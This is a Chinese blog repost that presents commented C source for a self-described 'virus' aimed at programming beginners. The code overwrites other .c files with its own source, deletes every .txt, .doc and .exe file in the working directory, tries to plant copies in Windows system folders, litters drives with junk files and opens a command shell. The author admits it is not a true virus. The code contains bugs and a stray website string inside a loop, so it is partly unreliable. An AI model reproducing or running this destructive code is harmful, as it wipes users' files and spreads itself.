C语言开发病毒程序


http://blog.sina.com.cn/s/blog_6808495c0100wanr.html

语言开发病毒程序实例C语言开发的病毒程序源代码加了很详细的注释,严谨的来说,算不上真正意义上的病毒,但是可以给初学C的新手参考,程序实现了几点病毒的功能。

C语言编写的病毒程序源代码 - 给C语言初学者: 复制内容到剪贴板 代码:C语言开发病毒程序


//连接头文件
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//拷贝文件模块
int copyfile (char *infile, char *outfile)
{
    FILE *in,*out; //定义文件指针
     in = fopen(infile,"r"); //打开文件
    out = fopen(outfile,"w"); //建立文件
    while (!feof(in)) //判断文件是否已结束
    {www.ad0.cn
        fputc (fgetc(in),out); //从in读一字符到out
    }
    fclose (in); //关闭in文件
    fclose (out);//关闭out文件
    return 0; //返回
}
int MakeRubbish (void)
{
    int i; //声明整形变量i
    FILE *fp; //文件指针fp
    char *path; //路径指针
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组
    char *addtion = ":\\";
    for (i = 0; i<5; i++) //循环4次
    {
        char tempname[] = "XXXXXX" ; //随机名字
        NewName = mktemp(tempname);  //建立唯一的文件名
        fp = fopen(NewName,"w");  //创建文本文件
        fclose (fp); //关闭fp文件流
    }
    path = strcat(disk[getdisk()],addtion); //得到根编号
    chdir(path); //改变工作目录
    for (i = 0; i<5; i++) //循环次数
    {
        char tempname[] = "XXXXXX"; //串赋入数组
        NewName = mktemp(tempname); //建立唯一的文件名
        fp = fopen(NewName,"w");    //创建新文件
        fclose (fp); //关闭文件
    }
    return 0; //返回
}
int CreatEXE (void)
{
    int i; //整形变量
    char *path; //字符指针
    char *s[2] = {         //重要目录
                    "C:\\WINDOWS\\system32\\loveworm.exe",
                    "C:\\WINDOWS\\virusssss.com"
                 };
    for ( i = 0; i < 2; i++) //循环控制次数
    {
        open(s, 0x0100,0x0080); //打开文件写入数据
        copyfile ( "C_KILLER.C",s); //调用子函数实现拷贝文件数据
    }
    return 0;
}
int Remove (void) //去处
{
    int done; //定义整形变量
    int i;
    struct ffblk ffblk; //声明结构体变量ffblk
    char *documenttype[3] = {"*.txt","*.doc","*.exe"};//初始化指针数组
    for (i = 0; i < 3; i++)//控制循环次数
    {
        done = findfirst(documenttype,&ffblk,2);//搜索目录
        while (!done) //查找成功返回0
        {
            remove (ffblk.ff_name); //删除一个文件
            done = findnext(&ffblk);
        }
    }
    return 0;//返回
}
int Breed (void) //养殖模块
{
    int done;//整形变量
    struct ffblk ffblk; //声名结构变量
    done = findfirst("*.c",&ffblk,2);
    while (!done)
    {
        if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
        {
            copyfile("C_KILLER.C",ffblk.ff_name);
        }
        done = findnext(&ffblk);
    }
    return 0;
}
int main (void) //程序入口地址
{
    printf ("液虫病毒,by:仙剑逍遥.\n");
    Breed (); //养殖病毒
    Remove (); //去处
    CreatEXE ();
    printf ("您能告诉我您的名字?\n");
    printf ("现在麻烦您输入您的名字!\n");
    MakeRubbish (); //调用子函数
    getchar ();
    clrscr (); //清除屏幕
    system ("cmd");
    getch ();
    return 0;
}



评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值